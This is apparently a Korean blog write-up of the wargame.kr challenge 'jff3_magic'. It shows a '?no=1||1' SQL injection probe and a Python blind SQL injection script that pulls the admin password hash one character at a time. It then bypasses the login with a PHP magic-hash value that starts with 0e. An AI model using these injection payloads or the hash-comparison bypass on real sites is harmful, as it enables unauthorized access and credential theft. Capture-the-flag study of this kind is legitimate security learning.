jff3_magic 문제를 풀어보겠습니다.



문제를 시작하면 한개의 웹 페이지가 나옵니다. 페이지에 대한 기능을 학습한 후 문제에 접근하도록 하겠습니다.


먼저 메인화면에는 로그인 폼이 있습니다. 그리고 왼쪽 사이드에는 MemberList라는 index.php로 이동할 수 있는 <a> 태그와 no라는 파라미터로 갈 수 있도록 되어있습니다.

cd80은 1 Orang은 2 Comma는 3 으로 말이죠.


한번 Submit버튼으로 로그인을 시도해보도록 하겠습니다.



아무것도 입력하지 않고 버튼을 클릭하면 위와 같이 나옵니다. 


184b8482a0c050dca54b59c7f05bf5dd 를 구글에 검색하면



Hash Haval128,5 라는 인코드라고 유추할 수 있습니다. 이 문제의 이름이 magic인것으로 보아 magic hash 취약점이란 것을 알 수 있습니다.


magic hash 취약점에 대해선 구글에서 검색하시면 자세히 볼 수 있습니다.


그리고 아까 no 파라미터에 쿼리를 조작하겠습니다.

?no=1||1 로 입력할 시 


 


취약점이 존재하는것을 알 수 있습니다.


python 스크립트를 이용해 injection을 해보겠습니다.

import urllib, urllib2, re

string = "abcdefghijklmnopqrstuvwxyz0123456789"
key = ""

for i in range(32):
        for j in range(len(string)):
                url = "http://wargame.kr:8080/jff3_magic/?no="
                payload = "5||(lpad(pw," + str(i+1) + ",space(1))='" + key + string[j] + "')"
                url += payload
                req = urllib2.Request(url, headers={"Cookie": "",})
                res = urllib2.urlopen(req).read()
                ok = re.findall("admin", res)
                if ok: 
                        key += string[j]
                        break

print "[*] Key : " + key

아래와 같은 결과를 얻을 수 있습니다. 



0e로 시작하는 Haval128,5 인코딩 값을 찾아서 입력해주면 풀릴 것 같습니다. 

http://sso.pe.kr/15를 참고하시면 됩니다.


ID는 admin

PW 는 아래와 같이 haval128,5 인코딩 하면 0e로 시작되는 값인 115528287을 입력합니다.



문제가 풀렸습니다.




python script 참고 : http://choiys.tistory.com/entry/Wargamekr-Web800jff3magic

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr dmbs335 700p  (0) 2016.10.04
wargame.kr web_chatting 650p  (0) 2016.10.04
wargame.kr 4번 login filtering 450p  (0) 2016.07.25
wargame.kr 3번 flee button 450p  (0) 2016.07.25
wargame.kr 2번 QR CODE PUZZLE 300p  (0) 2016.07.25

+ Recent posts